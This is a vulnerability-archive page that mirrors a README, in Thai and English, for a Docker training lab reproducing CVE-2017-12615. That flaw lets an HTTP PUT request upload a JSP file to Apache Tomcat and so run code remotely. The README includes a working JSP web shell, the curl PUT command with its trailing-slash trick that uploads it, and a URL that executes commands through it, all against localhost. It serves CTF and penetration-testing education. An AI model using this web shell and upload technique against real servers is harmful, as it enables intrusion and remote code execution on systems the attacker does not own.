目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%

CVE-2017-12615 PoC — Apache Tomcat 安全漏洞

来源
关联漏洞
标题: Apache Tomcat 安全漏洞 (CVE-2017-12615)
Description:Apache Tomcat是美国阿帕奇(Apache)软件基金会下属的Jakarta项目的一款轻量级Web应用服务器,它主要用于开发和调试JSP程序,适用于中小型系统。 Apache Tomcat 7.0.0版本至7.0.79版本存在远程代码执行漏洞。当上述版本的Tomcat启用HTTP PUT请求方法时,远程攻击者可以构造恶意请求利用该漏洞向服务器上传包含任意代码执行的jsp文件,并被服务器执行该文件,导致攻击者可以执行任意代码。
Description
CVE-2017-12615 Tomcat: Remote Code Execution via JSP Upload Home Lab for Red Teaming, Penetration Testing
介绍
# ENGLISH BELOW

# CVE-2017-12615 Tomcat: Remote Code Execution via JSP Upload  

<p align="center">
    <img width="500" height="500" alt="image" src="https://github.com/user-attachments/assets/876f7dc7-72cf-486a-85d7-463bcb3602fa" />
</p>


Lab นี้จำลองช่องโหว่ **CVE-2017-12615 Tomcat: Remote Code Execution via JSP Upload**  
เกิดจากการตั้งค่า `readonly=false` ทำให้สามารถอัปโหลดไฟล์ผ่าน **HTTP PUT** ได้ รวมถึงไฟล์ `.jsp` ที่สามารถรันคำสั่ง (RCE)

---
<img width="1920" height="939" alt="image" src="https://github.com/user-attachments/assets/25f83824-42af-4973-beb1-463ab1fa8563" />

## Features

- Apache **Tomcat 7.0.79** (vulnerable)
- ใช้ DefaultServlet override พร้อมค่า `readonly=false`
- สามารถใช้ PUT Upload เพื่อวางไฟล์ `.jsp` ลงใน ROOT web directory
- รองรับการ Execute คำสั่งผ่าน web shell
- หน้าเว็บสไตล์ Industrial พร้อม internal note ที่ลืมลบ (Hint)
- ระบบสร้าง `flag_RANDOM.txt` อัตโนมัติทุกครั้งที่ container start
- ออกแบบสำหรับ CTF / Red Team / Pentest Training

---

## Directory Structure

```
/opt/apache-tomcat-7.0.79/
/opt/apache-tomcat-7.0.79/webapps/ROOT/index.jsp
/opt/apache-tomcat-7.0.79/webapps/ROOT/WEB-INF/web.xml
/tmp/flag_RANDOM.txt
/docker-entrypoint.sh
```

---

## การใช้งาน (Run Container)

```bash
docker compose build
docker compose up -d
```

เปิดเว็บ:

```
http://localhost:8080/
```

---

## วิธีทดสอบช่องโหว่ CVE-2017-12615

### 1) สร้างไฟล์ JSP payload

```bash
cat > shell.jsp << 'EOF'
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
    String s;
    Process p = Runtime.getRuntime().exec(cmd);
    BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));
    while ((s = r.readLine()) != null) out.println(s + "<br>");
}
%>
EOF
```

### 2) อัปโหลดไฟล์ด้วย PUT (ต้องมี `/` ท้ายชื่อไฟล์)

```bash
curl -v -X PUT "http://localhost:8080/shell.jsp/"   -H "Content-Type: text/plain"   --data-binary @shell.jsp
```

### 3) เรียกใช้งาน webshell

```
http://localhost:8080/shell.jsp?cmd=id
```

---

## Flag

เก็บไว้ใน:

```
/tmp/flag_RANDOM.txt
```

---

# English Version — CVE-2017-12615 Tomcat: Remote Code Execution via JSP Upload

This lab simulates **CVE-2017-12615 Tomcat: Remote Code Execution via JSP Upload**, where Apache Tomcat’s `DefaultServlet` is misconfigured with:

```
readonly=false
```

This allows attackers to upload `.jsp` files via **HTTP PUT**, enabling remote code execution.

---
<img width="1920" height="939" alt="image" src="https://github.com/user-attachments/assets/45c36873-550a-4a20-8d9b-e9e722792367" />

## Features

- Vulnerable **Apache Tomcat 7.0.79**  
- DefaultServlet override with `readonly=false`  
- PUT Upload → write arbitrary `.jsp` files into ROOT web directory  
- Supports command execution through JSP shell  
- Industrial-style landing page with a subtle internal hint  
- Auto-generated `flag_RANDOM.txt` at container startup  
- Fit for CTF, research, and exploit development

---

## Exploitation Example

### Upload a JSP shell

```bash
curl -v -X PUT "http://localhost:8080/shell.jsp/"   -H "Content-Type: text/plain"   --data-binary @shell.jsp
```

### Execute commands

```
http://localhost:8080/shell.jsp?cmd=id
```

---

## Flag Location

```
/tmp/flag_RANDOM.txt
```

---

## Disclaimer

For educational, research, and authorized penetration testing only.
文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →